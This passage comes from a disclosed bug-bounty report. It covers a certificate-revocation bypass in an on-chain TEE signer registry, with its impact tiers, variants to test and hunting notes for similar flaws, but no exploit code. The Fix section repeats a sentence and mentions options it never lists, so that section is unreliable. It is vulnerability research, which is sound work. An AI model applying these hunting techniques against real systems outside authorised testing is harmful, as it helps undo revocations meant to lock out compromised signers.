The existing defences do not stop this. The registrar's CRL check only consults AWS-published CRLs and fails open, so it does not see the on-chain revocation. The comment documents that a revoked certificate can be trusted again by reproving it, but nothing in the contract or registrar enforces the narrower reading in which re-trust only applies after the upstream issue is resolved. The prefix length is not configurable in the shipped binary, so operators cannot raise it to put intermediates back inside the first pass.

Impact

The report frames the primary impact as Tier B (High), matching the scope bracket "Registering a malicious or unauthorized TEE enclave signer in the TEEProverRegistry without valid attestation (PCR0 mismatch or missing attestation)." After revokeCert(C), the registry has explicitly withdrawn trust from chains anchored on C, so an attestation traversing C is, per the registry's published on-chain trust state, an unauthorised attestation. The bypass admits exactly such an attestation, and the proof-of-concept chain reaches AggregateVerifier-accepted TEE proofs signed by the actor that revokeCert was deployed to lock out.

The floor is Tier A (Medium), matching "Griefing that causes damage to users or the protocol without direct profit motive for the attacker." The on-chain emergency primitive revokeCert has no durability under the production registrar configuration: no attacker key and no Base-infrastructure compromise are needed, because routine signer registration restores the cache.

The report argues that neither of the program's two TEE downgrade clauses applies. The first says that reports relying on an invalid TEE or ZK proof will be downgraded, especially TEE proofs unless it can be shown that a key compromise is unnecessary. It does not land because the Tier B proof of concept submits a cryptographically valid Nitro attestation: the AWS root signs the intermediate, the revoked intermediate signs the attacker's leaf, and the leaf attests a real PCR0 measured by an actual enclave running the open-source image. No signature is invalid and no PCR0 is missing or mismatched. The bug is that a valid proof under an explicitly revoked CA is accepted, contradicting the on-chain trust state. The qualifier about a key compromise being unnecessary also rules out an automatic downgrade, since Tier A demonstrates the on-chain effect with no attacker key. The second clause, downgrading valid reports if the attack requires compromising Base-operated infrastructure, does not apply either: the Tier B chain does not require compromising Base's registrar, sequencer or any Base-operated key, only obtaining the revoked CA's key, which is the premise that motivates revokeCert in the first place. Routine target-group enrolment for an attacker-run enclave is also described as operationally plausible without Base-side compromise, for example any AWS Nitro instance under the still-valid intermediate that the operator's discovery layer accepts.

The report reads the High bracket's parenthetical (PCR0 mismatch or missing attestation) as illustrative rather than exhaustive, with the load-bearing qualifier being "without valid attestation". Under the registry's own published trust state after revokeCert(C), an attestation through C is not valid for registry trust purposes.

Fix

The report does not describe a code change made in response. The only action it records on the earlier Cantina finding was the comment line at NitroEnclaveVerifier.sol:345 added in PR-251, which documents the behaviour rather than preventing it. The report does not describe a code change made in response, and it does not prescribe a fix. The report itself does not prescribe which of these to implement.

Variants to test

  1. Other verifiers with a prefix/suffix split. Look for any journal field that selects how much of a chain is checked against on-chain state. A positive result is a chain whose revoked or never-trusted element sits in the suffix and still verifies.
  2. Cache writers that overwrite without checking prior state. Search for writes to a trusted-set mapping that take their value from the submitted proof. A positive result is a revoked entry reappearing after a successful verification.
  3. Off-chain components that filter on an external source only. Check whether the registrar or relayer reads the on-chain revocation mapping. A positive result is a registration forwarded through a CA that the contract has already revoked.
  4. Hardcoded defaults in shipped binaries. Look for constants that shape trust decisions and cannot be overridden by flag, config or network. A positive result is a production build whose default weakens an on-chain check.
  5. Emergency primitives with no durability. For any revoke, pause or freeze function, check whether a later routine operation reverses it. A positive result is a revocation that a normal user or operator action undoes.

Hunting notes

This kind of bug tends to hide where an on-chain trust cache is fed by values the submitter controls, and where a configuration constant decides how much of that input is checked against storage. The signal during recon is a verifier with a journal struct that carries both certificate hashes and their expiries, plus a separate mapping of trusted certificates and a revocation function. A second signal is an off-chain component in the same repository that builds those journals, especially one with a hardcoded default for how many certificates are trusted. Reading the prover-side type comments often reveals the intended semantics that the on-chain code does not enforce.

The report showed enough impact by building two tiers. Tier A demonstrates the on-chain effect with no attacker key, which addresses the griefing bracket and the key-compromise downgrade clause. Tier B carries the same defect through registerSigner into TEEVerifier.verify and AggregateVerifier, using a cryptographically valid attestation so that the invalid-proof downgrade clause does not apply. It also explicitly addresses the known-issue rules by separating the new material (production prefix length, CRL-only registrar, end-to-end chain to accepted proofs) from the earlier Informational finding, and by quoting the team's actual response to that finding.

Glossary

  • API: a defined way for one piece of software to talk to another, like a menu of functions you can call.
  • Attestation document: a signed statement from a TEE describing what program it is running and what key it holds.
  • CA (Certificate Authority): an organisation that issues and signs certificates, vouching for the identity behind them.
  • Certificate: a digital document binding a public key to an identity, signed by a CA.
  • Certificate chain: a sequence of certificates where each one signs the next, ending at a root that is trusted directly.
  • CRL (Certificate Revocation List): a list published by a CA of certificates it no longer considers valid.
  • Enclave: an isolated execution environment inside a processor, designed so that even the machine's owner cannot inspect or tamper with what runs inside.
  • Foundry: a toolkit for building and testing smart contracts, including a test framework written in Solidity.
  • Hash: a fixed-length fingerprint computed from data. The same input always gives the same output, and it is impractical to reverse.
  • Intermediate certificate: a certificate in the middle of a chain, signed by the root and used to sign leaf certificates.
  • Journal: the structured data package submitted to the verifier, containing the certificate chain, expiries, PCR0 values and other fields.
  • Leaf certificate: the certificate at the end of a chain, issued for a specific machine or key.
  • Mock: a stand-in component used in tests that returns a fixed, controlled result instead of doing real work.
  • NatSpec: the documentation comment format used in Solidity source code.
  • PCR0: a hash of the program running inside a TEE. Identical programs produce identical PCR0 values.
  • PoC (proof of concept): working code or steps that demonstrate a vulnerability in practice.
  • Pragma: a directive in Solidity source code declaring which compiler versions are acceptable.
  • Prefix / suffix: in this report, the start of the certificate chain that is checked against on-chain storage (prefix) and the remainder that is not (suffix).
  • Proposer: an account allowed to submit claims or proofs to the system.
  • Proxy: a contract that forwards calls to another contract, allowing the logic to be upgraded while the address stays the same.
  • Revocation: the act of marking a certificate as no longer trusted.
  • Root certificate: the top of a certificate chain, trusted directly without needing anything above it.
  • Smart contract: a program deployed on a blockchain whose functions anyone can call and whose state is public.
  • Solidity: the programming language used to write smart contracts on Ethereum-style blockchains.
  • TEE (Trusted Execution Environment): a hardware-isolated area of a processor that runs code protected from the rest of the machine.
  • Tier A / Tier B: the report's two levels of proof of concept, the first showing the on-chain effect alone and the second carrying it through to an accepted proof.
  • Zero-knowledge verifier: a component that checks cryptographic proofs without needing to see the underlying data.

More from Base Azul

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.